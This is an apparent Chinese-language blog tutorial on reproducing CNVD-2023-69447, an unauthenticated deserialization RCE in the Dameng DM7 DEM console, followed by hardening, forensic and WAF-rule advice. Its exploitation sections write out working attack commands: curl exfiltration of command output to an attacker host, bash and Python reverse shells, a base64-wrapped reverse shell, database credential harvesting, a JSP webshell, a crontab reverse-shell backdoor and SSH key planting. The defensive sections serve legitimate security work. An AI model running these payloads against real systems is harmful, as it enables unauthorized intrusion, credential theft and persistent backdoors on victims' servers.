达梦数据库DEM组件反序列化RCE漏洞(CNVD-2023-69447)复现与防御

1. 项目概述：一次对国产数据库核心组件的深度安全审计

最近在梳理一些国产化环境下的资产时，又遇到了老朋友——达梦数据库。作为国内数据库领域的头部产品，达梦在金融、政务等关键行业中的应用越来越广泛。随之而来的，其安全性也成为了渗透测试和红队评估中无法绕过的一环。今天要聊的这个漏洞，编号CNVD-2023-69447，影响的是达梦数据库7版本中一个非常核心的Web管理组件：达梦企业管理器（DEM）。这是一个典型的远程代码执行（RCE）漏洞，攻击者无需任何身份认证，就能在服务器上执行任意命令，危害等级直接拉满。对于安全研究人员、企业运维和渗透测试工程师来说，理解这个漏洞的成因、掌握其复现方法，并在此基础上构建有效的检测与防御策略，是当前国产软件安全评估中一项非常实用的技能。本文将从环境搭建开始，一步步拆解漏洞原理，手把手完成漏洞复现，并分享在实际测试中积累的排查技巧和加固建议。

2. 漏洞背景与核心原理深度解析

2.1 达梦DEM组件定位与架构风险

达梦企业管理器（DM Enterprise Manager, DEM）并非一个可有可无的插件，它是达梦数据库官方提供的、基于B/S架构的图形化数据库管理平台。你可以把它理解为达梦版的“phpMyAdmin”或“Oracle Enterprise Manager”。运维人员通过浏览器访问DEM，就能完成对达梦数据库实例的监控、管理、备份、性能调优等一系列操作，极大地提升了管理便利性。

然而，便利性往往与安全性存在博弈。DEM作为一个独立的Java Web应用，通常部署在Tomcat、WebLogic等中间件上，并默认监听8080端口。它需要较高的权限来调用数据库底层的管理命令，这就意味着一旦DEM应用本身存在安全缺陷，攻击者就可能以此为跳板，直接威胁到底层的数据库服务器甚至整个操作系统。从架构上看，DEM处于一个“承上启下”的关键位置：向上暴露Web接口，向下拥有高权限，这种特性使其成为攻击者眼中极具吸引力的目标。

2.2 CNVD-2023-69447漏洞成因剖析

这个RCE漏洞的本质，是一个由不安全的反序列化和未授权访问共同导致的安全问题。它不是SQL注入，也不是简单的文件上传，其触发点在于DEM中一个用于处理特定类型请求的接口。

简单来说，攻击者可以向DEM服务器发送一个精心构造的HTTP请求。这个请求中携带了序列化后的恶意数据。由于DEM在接收并处理这个请求时，对传入的数据进行了不安全的反序列化操作，且没有进行有效的身份校验和输入过滤，导致攻击者注入的恶意代码在服务器端被还原并执行。

这里需要解释一下“反序列化”。在Java中，序列化是将对象的状态信息转换为可以存储或传输的形式（字节流）的过程，反序列化则是其逆过程。如果反序列化的数据源不可信，攻击者就可以构造一个恶意的序列化对象，在其中“夹带”执行系统命令的代码（例如，利用Apache Commons Collections等库中的危险链）。当服务端程序毫无戒备地反序列化这个对象时，夹带的代码就会被执行，从而实现远程命令执行。

更危险的是，触发这个反序列化操作的接口往往是未授权的，即不需要登录认证即可访问。这就将漏洞的利用门槛降到了最低，变成了一个“网络可达即可利用”的高危漏洞。

2.3 影响范围与严重性评估

根据公开信息，CNVD-2023-69447主要影响达梦数据库7版本中集成的DEM组件。具体的影响版本号需要参考达梦官方的安全公告。在实际测试中，我们发现多个基于DM7的DEM默认安装实例均存在此问题。

其严重性毋庸置疑：

  1. 高危等级：直接获取服务器操作系统命令执行权限。
  2. 攻击成本极低：漏洞利用过程完全远程化、自动化，通常一个curl命令或一个Python脚本即可完成攻击。
  3. 危害极大：攻击者可以借此植入后门、窃取数据库敏感信息、进行内网横向移动，甚至破坏数据库服务，导致业务中断。
  4. 普遍存在：由于是官方管理组件漏洞，凡使用了受影响版本DEM的环境，无论其业务系统本身代码是否安全，都暴露在风险之下。

3. 漏洞复现环境搭建与准备

3.1 靶机环境部署

为了安全且合法地研究漏洞，我们必须在一个隔离的环境中搭建靶场。强烈建议使用虚拟机。

3.1.1 操作系统与基础软件选择我选择在VMware中安装一台全新的CentOS 7.x虚拟机。选择CentOS 7是因为它在企业环境中仍有一定存量，且部署过程典型。为虚拟机分配至少4GB内存和50GB磁盘空间，因为数据库软件本身有一定资源消耗。

3.1.2 达梦数据库7与DEM安装

  1. 获取安装包：从达梦官网下载达梦数据库7对应版本的Linux安装包（通常是.iso镜像文件）。请务必使用明确受漏洞影响的版本，以用于验证。将镜像文件上传至虚拟机。
  2. 挂载与安装：
    # 创建挂载点并挂载ISO mkdir -p /mnt/dm mount -o loop /path/to/dm7_setup.iso /mnt/dm # 执行安装程序，通常为DMInstall.bin cd /mnt/dm ./DMInstall.bin -i
    安装过程会以命令行交互方式进行。关键步骤包括：
    • 选择安装语言。
    • 接受许可协议。
    • 选择安装类型：这里务必选择“典型安装”或“完整安装”，以确保DEM组件被一并安装。如果只安装客户端或服务器，可能不会包含DEM。
    • 设置安装路径：如/opt/dmdbms。
    • 配置数据库实例：安装程序通常会提示是否初始化数据库。为了复现DEM漏洞，我们可以选择“是”，并设置dba用户（默认SYSDBA）的密码。
    • 创建DEM服务：在后续配置中，安装程序会询问是否创建DEM服务。必须选择“是”，并设置DEM的访问端口（默认8080）和连接数据库的信息。
  3. 启动服务：
    # 启动DmAPService（达梦辅助进程，DEM依赖它） systemctl start DmAPService # 启动DEM服务（通常注册为DmWebService） systemctl start DmWebService
  4. 验证安装：在虚拟机内部或宿主机浏览器中访问http://<靶机IP>:8080。如果能看到达梦DEM的登录页面，说明环境部署成功。此时先不要登录。

注意：安装过程中，DEM数据库连接配置如果出错，可能导致DEM服务启动失败。可以检查/opt/dmdbms/web/dem/WEB-INF/classes/config.properties文件，确认数据库连接信息是否正确，并确保数据库实例已启动 (systemctl start DmServiceDMSERVER)。

3.2 攻击机环境与工具配置

攻击机可以使用另一台虚拟机，或者直接使用宿主机上的Kali Linux或配置了渗透测试工具的Windows/Mac。

核心工具准备：

  1. Java环境：漏洞利用链依赖于Java库，因此攻击机上需要安装JDK 8或11。
    # Kali/Debian/Ubuntu sudo apt update && sudo apt install openjdk-11-jdk -y # 验证 java -version
  2. 漏洞利用脚本：互联网上已有安全研究人员公开了针对此漏洞的利用脚本（例如基于ysoserial的定制化脚本）。我们需要获取一个可靠的版本。这类脚本通常是一个Java程序，接受目标URL和要执行的命令作为参数，生成并发送恶意的序列化载荷。
  3. 网络探测工具：
    • nmap：用于扫描靶机开放端口，确认8080端口存活。
    • curl：用于手动发送HTTP请求，进行初步探测和回显验证。

环境连通性检查： 确保攻击机能ping通靶机，并且能访问靶机的8080端口。

# 从攻击机执行 ping <靶机IP> curl -v http://<靶机IP>:8080

如果curl能返回DEM的登录页面HTML代码，说明网络通路和Web服务正常。

4. 漏洞复现实操过程详解

4.1 信息收集与漏洞初步探测

在直接使用攻击脚本前，进行一些手动探测可以加深对漏洞的理解，并验证环境。

  1. 服务指纹识别：

    nmap -sV -p 8080 <靶机IP>

    观察返回结果，通常会识别出Tomcat版本以及可能的应用名称。

  2. 探测漏洞端点：根据漏洞详情，存在问题的接口路径可能类似于/dem/xxxServlet或/dem/xxx。我们可以通过查看DEM的web应用目录结构（如果能有条件查看靶机文件的话），或使用常见的Web接口路径字典进行模糊测试来发现。更直接的方式是参考公开漏洞描述中的确切路径。假设已知漏洞接口为/dem/api/v1/deserialize（此为示例，真实路径不同）。

  3. 手动发送测试请求：

    # 尝试发送一个简单的POST请求，观察响应 curl -X POST http://<靶机IP>:8080/dem/api/v1/deserialize -H "Content-Type: application/json" -d '{"test":"data"}'

    如果接口存在且未授权，可能会返回一个错误信息，例如反序列化失败的具体异常（如java.io.InvalidClassException）。这个错误信息本身就是一个重要的线索，它证实了该端点确实在进行反序列化操作。

4.2 利用脚本生成与命令执行

这是漏洞利用的核心环节。我们假设已经获得了一个名为DM7_DEM_RCE_exploit.jar的利用工具。

  1. 理解利用脚本参数：

    java -jar DM7_DEM_RCE_exploit.jar

    通常，这类工具会显示用法，例如：

    Usage: java -jar DM7_DEM_RCE_exploit.jar <target_url> <command>

    其中<target_url>是完整的漏洞接口URL，<command>是要在目标服务器上执行的系统命令。

  2. 执行无回显命令（盲注）： 最简单的测试是执行一个能产生外部交互或延迟的命令，以验证漏洞是否存在。

    # 示例：让目标服务器ping攻击机，通过攻击机抓包验证 # 首先在攻击机监听ICMP包 sudo tcpdump -i eth0 icmp # 然后在另一个终端执行利用脚本 java -jar DM7_DEM_RCE_exploit.jar http://<靶机IP>:8080/dem/api/v1/deserialize "ping -c 4 <攻击机IP>"

    如果攻击机的tcpdump收到了来自靶机的ping回显请求包，则证明命令执行成功，漏洞真实存在。

  3. 执行有回显命令： 盲注只能验证，无法获取命令输出。更实用的方法是让目标服务器将命令执行结果回传到攻击机。常见方法有：

    • DNS外带：利用nslookup或dig将命令结果作为子域名发送到攻击机控制的DNS服务器。
    • HTTP外带：利用curl或wget将命令结果通过GET/POST请求发送到攻击机控制的Web服务器。
    • 反向Shell：最彻底的方式，直接获取一个交互式Shell。

    以简单的HTTP外带为例，我们需要先在攻击机启动一个HTTP服务并监听：

    # 在攻击机临时目录开启HTTP服务 python3 -m http.server 9999

    然后构造一个命令，让靶机执行并将结果通过curl发送过来：

    # 构造的命令：执行 whoami，并将结果通过curl发送给攻击机 # 注意需要对命令进行URL编码或合理拼接 java -jar DM7_DEM_RCE_exploit.jar http://<靶机IP>:8080/dem/api/v1/deserialize "whoami | curl -X POST http://<攻击机IP>:9999 -d @-"

    观察攻击机Python HTTP服务的日志，如果看到POST请求，其body中包含了dmdba（达梦数据库进程运行用户）或root，则说明成功获取了命令回显。

4.3 获取交互式Shell

对于渗透测试而言，获得一个稳定的反向Shell是最终目标。

  1. 攻击机监听： 在攻击机上用netcat监听一个端口，等待靶机连接。

    nc -lvnp 4444

  2. 生成反向Shell命令： 我们需要一个能在靶机上执行的、能连接到攻击机并启动Shell的命令。常用的方法是使用bash或python。

    • Bash反向Shell：
      bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1
    • Python反向Shell（如果靶机有Python环境）：
      python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

  3. 通过漏洞发送反向Shell命令： 由于命令中包含特殊字符（如>&、/、引号等），直接放入利用脚本可能会被错误解析。通常有两种处理方式：

    • Base64编码：将完整的bash或python命令进行base64编码，然后在靶机上解码执行。
      # 编码bash命令 echo "bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1" | base64 # 得到编码字符串，假设为 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo= # 构造靶机执行命令 java -jar exploit.jar http://target:8080/dem/api/v1/deserialize "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo= | base64 -d | bash"
    • 利用脚本内置编码功能：更成熟的利用工具会提供-e或--encode参数来自动处理命令编码。

    执行成功后，观察攻击机的netcat监听窗口，如果出现bash提示符（可能是[dmdba@localhost ~]$），恭喜你，已经获得了目标服务器的一个交互式Shell。

5. 漏洞深度利用与权限提升思路

5.1 信息收集与敏感文件探查

拿到Shell后，第一步不是盲目操作，而是收集信息。

# 查看当前用户和权限 id whoami # 查看操作系统和内核信息 uname -a cat /etc/os-release # 查看网络连接和监听端口 netstat -antp ss -lntp # 寻找达梦数据库安装目录和配置文件 find / -name \"dmserver\" -type f 2>/dev/null find / -name \"dm.ini\" -type f 2>/dev/null ls -la /opt/dmdbms/ # 探查DEM的配置文件，可能包含数据库密码 find /opt/dmdbms/web/dem -name \"*.properties\" -o -name \"*.xml\" | xargs grep -l \"password\" 2>/dev/null

这些信息对于理解环境、寻找进一步利用的突破口至关重要。

5.2 数据库凭证获取与利用

DEM需要连接达梦数据库，其配置文件中极有可能保存了数据库连接密码，而且这个账号通常具有高权限（如SYSDBA）。

# 常见配置文件路径 cat /opt/dmdbms/web/dem/WEB-INF/classes/config.properties cat /opt/dmdbms/web/dem/WEB-INF/dbcp.properties

如果成功获取到数据库用户名和密码（可能是明文或弱加密），就可以直接使用达梦数据库的命令行工具disql进行连接，从而拥有完整的数据库操作权限，进行数据窃取、篡改或持久化后门植入。

# 使用获取的密码连接数据库 /opt/dmdbms/bin/disql SYSDBA/‘获取的密码’@localhost:5236

5.3 权限维持与后门植入

为了防止漏洞被修复后失去访问权限，需要考虑权限维持。

  1. Web后门：在DEM的Web目录下写入一个JSP或Servlet后门。
    # 例如，写入一个简单的JSP Webshell到DEM应用目录 echo ‘<%@ page import=\"java.util.*,java.io.*\"%><% if (request.getParameter(\"cmd\") != null) { Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>‘ > /opt/dmdbms/web/dem/shell.jsp
    之后可以通过http://<靶机IP>:8080/dem/shell.jsp?cmd=whoami来执行命令。
  2. 定时任务：添加一个crontab任务，定期连接回攻击机。
    (crontab -l 2>/dev/null; echo \"*/5 * * * * /bin/bash -c ‘exec bash -i &>/dev/tcp/<攻击机IP>/5555 <&1‘\") | crontab -
  3. SSH密钥植入：如果服务器开放SSH且允许密钥登录，可以尝试将攻击机的公钥写入靶机的~/.ssh/authorized_keys文件中。

6. 漏洞修复方案与安全加固建议

6.1 官方修复与补丁升级

这是最根本、最推荐的解决方案。

  1. 关注官方通告：立即关注达梦数据库官方（武汉达梦数据库股份有限公司）发布的安全公告，获取针对CNVD-2023-69447漏洞的官方补丁或修复版本。
  2. 升级DEM组件或数据库版本：按照官方指引，将DEM组件升级到已修复漏洞的版本，或者将整个达梦数据库升级到不受影响的新版本（如达梦8的某些安全版本）。
  3. 测试升级：在生产环境应用补丁前，务必在测试环境进行充分验证，确保补丁有效且不影响现有业务功能。

6.2 临时缓解措施

如果无法立即升级，可以采取以下临时措施降低风险：

  1. 网络访问控制：
    • 严格限制访问源：在防火墙或安全组策略中，将DEM（默认8080端口）的访问权限限制在最小范围，仅允许特定的、可信的管理员IP地址段访问。禁止将DEM服务暴露在互联网上。
    • 使用VPN或堡垒机：所有对DEM的访问必须通过内部VPN或跳板机（堡垒机）进行，杜绝直连。
  2. 应用层防护：
    • 修改默认端口：将DEM的监听端口从默认的8080改为一个不常见的端口。
    • 强化访问认证：虽然漏洞本身是未授权访问，但可以检查DEM是否支持配置更强的认证机制（如与公司统一认证对接），并确保所有管理账号使用强密码。
    • 部署WAF：在DEM服务前端部署Web应用防火墙（WAF），并配置针对反序列化攻击、命令注入等行为的防护规则，可以拦截大部分自动化攻击脚本。
  3. 系统层加固：
    • 最小权限原则：运行DEM服务的操作系统账户（如dmdba）应仅被授予必要的最小权限。避免使用root账户运行。
    • 文件系统权限：严格控制DEM应用目录（/opt/dmdbms/web/dem）的读写权限，非必要不授予写权限，防止Webshell写入。
    • 命令执行限制：通过SELinux、AppArmor等安全模块，或自定义的权限控制，限制DEM进程所能执行的系统命令。

6.3 安全监控与应急响应

  1. 日志审计：启用并集中收集达梦数据库、DEM应用（Tomcat访问日志、应用日志）以及操作系统的安全日志。监控对可疑路径（如漏洞接口）的访问请求，特别是包含序列化数据特征（如AC ED 00 05等魔术头）的请求。
  2. 入侵检测：在服务器上部署HIDS（主机入侵检测系统），监控异常进程创建、网络外连、敏感文件读取等行为。
  3. 应急响应预案：一旦发现入侵迹象，立即启动应急预案：隔离受影响主机、排查后门、重置数据库密码、分析损失范围，并在修复漏洞后恢复服务。

7. 防御视角下的漏洞检测与排查技巧

7.1 如何自查系统是否存在此漏洞

作为运维或安全人员，你可以通过以下步骤快速自查：

  1. 资产梳理：检查网络中所有服务器是否安装了达梦数据库7，并确认其DEM服务（端口通常为8080）是否开启。
  2. 版本确认：登录DEM管理界面（如果可访问），在“关于”或“系统信息”中查看DEM的具体版本号。或者，检查DEM的安装目录下的版本文件。
  3. 漏洞扫描：使用专业的漏洞扫描器（如Nessus, OpenVAS, 或国产的漏洞扫描产品）对目标IP的8080端口进行扫描，看是否能识别出CNVD-2023-69447漏洞。
  4. 手动验证（谨慎操作）：在授权和隔离环境下，可以尝试使用公开的漏洞验证脚本（POC）进行无害化验证，例如执行一个sleep 10命令，观察响应是否有明显延迟。切记，未经授权进行漏洞验证是违法行为。

7.2 排查已发生攻击的痕迹

如果怀疑系统已被利用，应立即开展排查：

  1. 检查进程与网络连接：
    # 查看是否有异常进程或网络连接 ps auxf | grep -E ‘(sh|bash|perl|python|nc|curl|wget)‘ | grep -v grep netstat -antp | grep ESTA | grep -v ‘:22\|:80\|:443\|:8080‘ lsof -i
  2. 检查Web目录：重点检查DEM的Web根目录及其子目录下，是否有新增的、可疑的.jsp,.jspx,.war文件。
    find /opt/dmdbms/web/dem -type f -name \"*.jsp\" -newer /path/to/reference_file 2>/dev/null
  3. 检查定时任务：
    crontab -l -u dmdba crontab -l -u root ls -la /etc/cron.*/
  4. 检查授权密钥：
    cat ~dmdba/.ssh/authorized_keys cat /root/.ssh/authorized_keys
  5. 分析日志：
    • Tomcat访问日志：查看catalina.out或localhost_access_log.*.txt，寻找对漏洞接口路径的异常访问记录，特别是POST请求。
    • 系统命令历史：检查~dmdba/.bash_history和/root/.bash_history，看是否有异常命令。
    • 系统安全日志：查看/var/log/secure(RHEL/CentOS) 或/var/log/auth.log(Debian/Ubuntu)，寻找可疑的登录或权限变更记录。

7.3 对安全产品的规则建议

如果你负责安全运营或WAF规则维护，可以针对此类漏洞的特征制定防护规则：

  1. HTTP请求特征：检测对特定路径（如/dem/api/v1/deserialize等）的POST请求。
  2. 载荷特征：检测HTTP请求体（Body）中是否包含Java序列化流的魔术头AC ED 00 05（十六进制），或者rO0AB（Base64编码后的开头）。
  3. 命令特征：检测请求参数或Body中是否包含Runtime.getRuntime().exec,ProcessBuilder,bash -c,curl,wget等可疑的命令执行关键词。
  4. 流量异常：监控从内部数据库管理平台向外部地址发起的、非常规的HTTP或DNS请求，这可能是攻击者在进行数据外带。

8. 从漏洞复现中提炼的安全思考

这次对达梦DEM漏洞的复现，不仅仅是一次技术练习，更是一次对国产基础软件安全现状的近距离观察。有几点体会非常深刻：

第一，默认安装的安全配置往往是最弱的。无论是DEM的未授权访问，还是许多其他中间件、框架的默认弱口令、调试接口开放，都遵循这一规律。在部署任何生产系统时，安全加固清单必须作为上线前最后一道、也是必不可少的一道工序。关闭不需要的服务、修改默认端口、强化认证、按最小权限分配账户和文件权限，这些基础工作能挡掉绝大部分自动化扫描和低水平攻击。

第二，供应链安全不容忽视。DEM作为达梦数据库的官方组件，它的漏洞会波及所有使用该版本数据库的用户，无论用户自身的业务代码写得多么安全。这就要求企业在引入第三方组件，尤其是像数据库、中间件这样的核心基础软件时，必须将其纳入统一的安全资产管理、漏洞监控和应急响应体系。不能抱有“用了知名厂商的产品就高枕无忧”的想法。

第三，漏洞研究是防御的基石。只有亲自动手复现过漏洞，才能最真切地理解攻击者的思路、利用链的关节在哪里、攻击后会留下什么痕迹。这种“知己知彼”的经验，对于制定有效的检测规则、编写精准的应急响应手册、对开发团队进行有针对性的安全培训，价值远超阅读一份干巴巴的安全通告。我建议运维和安全人员，在可控的实验室环境中，多进行这样的复现练习。

最后，关于这个漏洞的后续，在完成复现和加固后，我习惯性地去检查了达梦8版本DEM的类似接口和配置。发现新版本在访问控制和输入处理上确实有了明显改进。这也印证了一个趋势：安全正在从“事后补救”越来越多地转向“设计内置”。作为使用者，我们的责任是及时跟进这些改进，并保持持续的安全警觉。毕竟，攻击者不会停下脚步，我们的防御体系也必须是一个动态演进的过程。